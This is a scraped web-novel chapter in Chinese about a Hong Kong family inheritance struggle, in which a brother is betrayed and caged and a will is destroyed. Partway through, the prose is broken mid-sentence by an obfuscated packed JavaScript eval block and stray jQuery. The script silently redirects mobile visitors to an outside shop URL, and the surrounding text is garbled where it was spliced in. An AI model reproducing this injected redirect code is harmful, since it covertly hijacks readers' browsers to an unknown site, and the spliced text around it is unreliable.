文趣网 > 其他小说 > 绝不原谅!离婚后季小姐独美 > 第一百五十八章 败北
    下一秒,盛徊就被身后的人牢牢钳制住。

    他眼底透着浓重的疑惑。

    怎么会?

    周琮慎看出了他的不可置信,问:“想必盛先生现在很疑惑这一切?”

    “为什么你的计划我们会这么清楚,甚至连你的点位都摸得一清二楚?”

    盛徊压着眉,脸上凛然:“要说就说,别废话。”

    周琮慎轻笑,抬步上前,将地上那个穿着深色衬衫的男人拉起来。

    “这些事真是多亏了萨坤先生。”

    盛徊双眸转向那男人,眼底骤然升腾起怒火。

    “是你?”

    “这一切都是你告诉他们的?”

    萨坤,从十五岁就跟着他的人,他的左右手。

    居然会被周琮慎拉拢。

    “为什么?”

    明明是一起共同奋战过这么多年的人,怎么可能会被别人牵动?

    萨坤显然不敢直面盛徊。

    见他分外为难,周琮慎开口替他解释。

    “当然是因为我们找到了她怀孕,即将生产的妻子。”

    “那个和他从小一起长大,对他最重要的人啊。”

    盛徊咬牙,“没想到你居然这么卑鄙?”

    周琮慎脸上的笑意顿时褪得一干二净。

    他上前,伸手将眼前人的领带理好,对着他幽幽道:“这还得感谢盛先生教我。”

    “想要拿捏一个人,当然得从他最爱的人身上下手啊。”

    四目相对,寒意倾泻。

    周琮慎的声音冷得彻骨:“我说过,我最讨厌人威胁我。”

    “尤其是,对我而言很重要的人。”

    盛徊气急败坏,嘶吼着想要上前,可整个身子都被牢牢钳制住,根本不得动弹。

    “我要杀了你,周琮慎。”

    季容止缓步上前,看着已然红了眼的男人。

    缓缓靠近,贴上他的耳朵,轻声宣判着那个令他崩溃的消息。

    “其实……老爷子遗嘱上的继承人,是你。”

    一瞬间,盛徊脑中那根紧绷着的弦骤然断开,抽得他头脑发昏。

    “你说什么?”

    季容止伸手扶了扶金丝框眼镜,只是淡淡笑着。

    他对着身后人挥了挥手,“大哥神志有些不清醒,将人带去后院。”

    “关进那具铁笼子里。”

    那具,曾经关了自己很久的……狗笼里。

    书房里。

    看着桌面上的那份遗嘱,季容止面上并没有什么多余的表情。

    看着那个财团主要继承人后边的盛徊二字,他伸手按下一旁的碎纸机,一张一张将其放进去。

    纸张一点一点被吞噬,最后成了一堆杂乱的纸絮。

    他慢悠悠拿起盒子,一股脑倒进脚边的焚纸炉里。

    火柴擦亮,轻微的**味钻进鼻息。

    季容止嘴角微勾,指尖一松,火柴掉进了纸屑中。

    书房寂静,火光透着镜片在男人瞳孔中亮起。

    他垂眸看着腾然升起的火焰,脑海中想起曾经在盛家的种种。

    眼底透出厌恶的神情。

    这个地方,这些人,乃至整个港岛。

    都让他感到恶心。

    热气扑面而来,季容止微微后退几步,长腿倚在桌面上。

    眸光一闪,似是想起了什么。

    伸手拉开书桌抽屉,里边静静放着一个瓶子。

    他拧开盖子,里边赫然是一粒粒的白色药片。

    季容止闭眸轻笑着,将药片放在鼻息轻嗅。

    私人医生、换药、尸检……

    “我承认你在经商方面很优秀,可在某些地方,还是需要多长点心啊。”

    睁开眼睛,将瓶子里的药片一点一点倒进火里。

    最终,手松开,瓶子也被火舌吞噬。

    书房外,盛荆透过门缝看着这一切。

    男人的侧脸被火光照得一明一暗,那眼底的情绪是她猜不透的。

    她看着手里的保温桶,又看着里间的人。

    最终不知道过了多久,她还是抬步离开了。

    今晚的月色很亮,风吹来,裹着海水的潮湿。

    她坐在屋顶看着眼前的一切,看着天边的那一丝即将跃出海面的光。

    脑海里,都是和他的那些过往。

    盛徊落网,那些人会被马上清剿。

    太阳升起时,那份写着他法定继承人的遗嘱就会公之于众。

    届时,他就是盛家有且仅有的掌权人。

    盛荆看着周遭的一切,心情是从未有过的复杂。

    明明她期盼这个结果已经很久了,可不知为何,却一点也高兴不起来。

    她也没想到,季容止原来早就知道了这一切。<b

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17842799|208500||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    r>知道了老爷子的遗嘱,知道了盛徊的计划……

    而且还神不知鬼不觉地让盛徊背了弑父这个黑锅。

    或许,他比自己想象中的要更适合当盛家的掌权人。

    手机上弹出消息,是那趟去往法国的航班。

    本是为了用来迷惑盛徊的,但现在,她感觉自己或许可以选择离开这里。

    远离港岛的这些纷争。

    —

    季疏睁开眼睛时,窗外的阳光大好。

    阴沉沉了好多天,终于放晴了。

    她起身看见周遭陌生的一切时,才想起昨晚发生的事。

    盛荆回头去找季容止了,而自己则被隋野带离了盛家。

    所以,现在那边会是个什么情况?

    她掀开被子下了床,打开门时,那股熟悉的冷杉味钻进鼻息。

    抬头,男人正倚在墙边垂眸假寐着。

    开门的动静惊醒了他,睁开眼的一瞬间,看到了出来女人。

    短短半个月不见,却好像隔了几年。

    上次这么看着她的时候,还是桑槐坠楼那天。

    好像变瘦了很多,本就小巧的脸,如今更是皮贴着骨。

    “你醒了?”

    或许是许久未说话,再开口时,嗓音有些沉。

    季疏看着眼前人,他身上的衣服有些皱,眼底还泛着淡淡的青。

    应该是一晚没睡。

    “所以,后来怎么样了?”

    周琮慎先是一愣,随即反应过来她说的是什么。

    开口:“盛徊已经被关起来的。”

    “嗯。”她淡淡地点头。

    事情比她预料的更快一些。

    两人在走廊站着,一时间气氛有些诡异的尴尬。

    可能是很久没见,生出一丝陌生感。

    季疏抬眼看他,准备听他说接下来怎么办。

    如果没事的话,她想直接回京都。

    好久没出现,工作室肯定有一堆事情等着处理。

    可男人却站在那一言不发,右手攥着,眼神有些飘忽不定。

    季疏皱眉,视线在他脸上来回看着。

    感觉到男人像是有些局促。

    又或者是紧张?

    他?

    紧张?

    周琮慎?

    季疏不耐轻啧,声音骤然变大:“喂,发什么愣啊?”

    “什么时候回去?”